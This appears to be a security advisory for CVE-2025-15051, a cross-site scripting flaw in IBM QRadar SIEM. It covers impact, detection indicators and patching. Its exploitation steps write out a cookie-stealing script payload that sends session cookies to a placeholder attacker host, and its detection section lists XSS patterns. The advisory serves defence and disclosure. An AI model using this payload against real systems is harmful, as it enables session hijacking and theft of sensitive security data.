CVE-2025-15051: 
IBM QRadar SIEM vulnerability analysis and mitigation

CVE-2025-15051 is a stored/reflected cross-site scripting (XSS) vulnerability in IBM QRadar SIEM affecting versions 7.5.0 through 7.5.0 Update Package 14. The flaw allows authenticated users with low privileges to embed arbitrary JavaScript code into the Web UI, altering its intended functionality. It was published on March 19, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (IBM Support, ENISA EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Insufficient sanitization of user-supplied input in the QRadar SIEM Web UI allows an authenticated, low-privileged attacker to inject malicious JavaScript that is subsequently rendered in the browsers of other users. Exploitation requires user interaction (e.g., a victim clicking a crafted link or visiting a manipulated page) and results in a scope change, meaning the injected script can affect resources beyond the attacker's own session (IBM Support, ENISA EUVD).

Successful exploitation can lead to theft of session cookies or other sensitive information visible in the browser (low confidentiality impact), unauthorized modification of displayed data or UI settings (low integrity impact), and disruption of the intended Web UI functionality. Because QRadar SIEM is a security operations platform, compromise of analyst sessions could expose sensitive security event data or allow an attacker to manipulate the SIEM interface seen by security personnel. Availability is not directly impacted (IBM Support, ENISA EUVD).

1. Gain authenticated access: Obtain a low-privileged account on the IBM QRadar SIEM Web UI (e.g., through credential theft or a legitimate analyst account).
2. Identify injectable input field: Locate a Web UI input field or parameter that is reflected or stored without proper sanitization (e.g., a search field, comment, or custom label).
3. Craft XSS payload: Construct a JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant to evade basic filters.
4. Deliver the payload: Either store the payload in a persistent field (stored XSS) or craft a URL containing the payload and socially engineer a higher-privileged user (e.g., a QRadar administrator) into clicking it (reflected XSS).
5. Harvest results: When the victim loads the affected page, the injected script executes in their browser context, potentially exfiltrating session tokens, credentials, or sensitive SIEM data to an attacker-controlled server.

• Logs: QRadar Web UI access logs showing requests with URL-encoded JavaScript payloads (e.g., %3Cscript%3E, onerror=, onload=) in input parameters or query strings.
• Network: Outbound HTTP/S requests from analyst workstations to unexpected external domains shortly after interacting with the QRadar Web UI, potentially carrying cookie or session data in query parameters.
• Browser/Session: Unexpected session terminations or re-authentication prompts for QRadar users; reports from users of unusual UI behavior or redirects within the QRadar interface.
• Application: Stored content in QRadar (e.g., custom rules, saved searches, labels) containing raw HTML or JavaScript tags that were not placed there by administrators.

IBM has released a patch addressing this vulnerability; administrators should apply the fix referenced in IBM Support page node 7266709 as the primary remediation step (IBM Support). As interim measures, organizations should implement a web application firewall (WAF) capable of filtering XSS payloads in front of the QRadar Web UI, enforce the principle of least privilege for QRadar user accounts, and train users to avoid clicking unsolicited links within the QRadar interface. Monitoring Web UI logs for suspicious JavaScript injection patterns is also recommended.